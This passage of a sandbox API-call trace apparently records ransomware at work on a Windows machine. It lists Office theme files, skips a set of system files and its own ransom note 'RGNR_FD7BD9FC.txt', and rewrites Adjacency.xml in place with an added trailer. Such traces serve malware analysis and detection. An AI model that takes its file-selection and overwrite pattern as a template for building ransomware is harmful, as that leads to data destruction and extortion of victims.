ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0093.507] lstrcmpiW (lpString1="Foundry.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Foundry.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0093.507] lstrcmpiW (lpString1="Grayscale.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Grayscale.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0093.507] lstrcmpiW (lpString1="Grid.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Grid.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0093.507] lstrcmpiW (lpString1="Hardcover.xml", lpString2=".") returned 1 [0093.507] lstrcmpiW (lpString1="Hardcover.xml", lpString2="..") returned 1 [0093.507] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0093.507] lstrcmpiW (lpString1="Horizon.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Horizon.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0093.508] lstrcmpiW (lpString1="Median.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Median.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0093.508] lstrcmpiW (lpString1="Metro.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Metro.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0093.508] lstrcmpiW (lpString1="Module.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Module.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0093.508] lstrcmpiW (lpString1="Newsprint.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Newsprint.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0093.508] lstrcmpiW (lpString1="Opulent.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Opulent.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0093.508] lstrcmpiW (lpString1="Oriel.xml", lpString2=".") returned 1 [0093.508] lstrcmpiW (lpString1="Oriel.xml", lpString2="..") returned 1 [0093.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0093.508] lstrcmpiW (lpString1="Origin.xml", lpString2=".") returned 1 [0093.509] lstrcmpiW (lpString1="Origin.xml", lpString2="..") returned 1 [0093.509] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0093.509] lstrcmpiW (lpString1="Paper.xml", lpString2=".") returned 1 [0093.509] lstrcmpiW (lpString1="Paper.xml", lpString2="..") returned 1 [0093.509] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0093.509] lstrcmpiW (lpString1="Perspective.xml", lpString2=".") returned 1 [0093.509] lstrcmpiW (lpString1="Perspective.xml", lpString2="..") returned 1 [0093.509] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0093.509] lstrcmpiW (lpString1="Pushpin.xml", lpString2=".") returned 1 [0093.509] lstrcmpiW (lpString1="Pushpin.xml", lpString2="..") returned 1 [0093.509] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89fa1000, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x89fa1000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0093.509] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0093.509] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0093.509] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0093.510] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Slipstream.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Solstice.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Solstice.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Technic.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Technic.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Thatch.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Thatch.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Trek.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Trek.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Urban.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Urban.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Verve.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Verve.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0093.510] lstrcmpiW (lpString1="Waveform.xml", lpString2=".") returned 1 [0093.510] lstrcmpiW (lpString1="Waveform.xml", lpString2="..") returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0093.510] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0093.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89fa1000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89fa1000, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x89fa1000, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x89fa1000, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.510] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0093.510] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x49 [0093.511] lstrcpyW (in: lpString1=0x1eb64c, lpString2="Adjacency.xml" | out: lpString1="Adjacency.xml") returned="Adjacency.xml" [0093.511] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml") returned=".xml" [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="autorun.inf") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="boot.ini") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootfont.bin") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootsect.bak") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgr.efi") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="bootmgfw.efi") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="desktop.ini") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="iconcache.db") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntldr") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.dat.log") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="ntuser.ini") returned -1 [0093.511] lstrcmpiW (lpString1="Adjacency.xml", lpString2="thumbs.db") returned -1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0093.511] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0093.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml")) returned 0x20 [0093.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0093.512] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=928) returned 1 [0093.512] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x397, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.512] GetProcessHeap () returned 0x580000 [0093.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.512] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.513] VirtualAlloc (lpAddress=0x0, dwSize=0x3a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.514] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.514] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.514] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a0, lpOverlapped=0x0) returned 1 [0093.514] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.514] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.514] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a0, lpOverlapped=0x0) returned 1 [0093.514] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.514] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.514] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.514] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.514] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.514] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.515] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.515] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.515] GetProcessHeap () returned 0x580000 [0093.515] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.515] CloseHandle (hObject=0x10c) returned 1 [0093.515] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" [0093.515] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml", 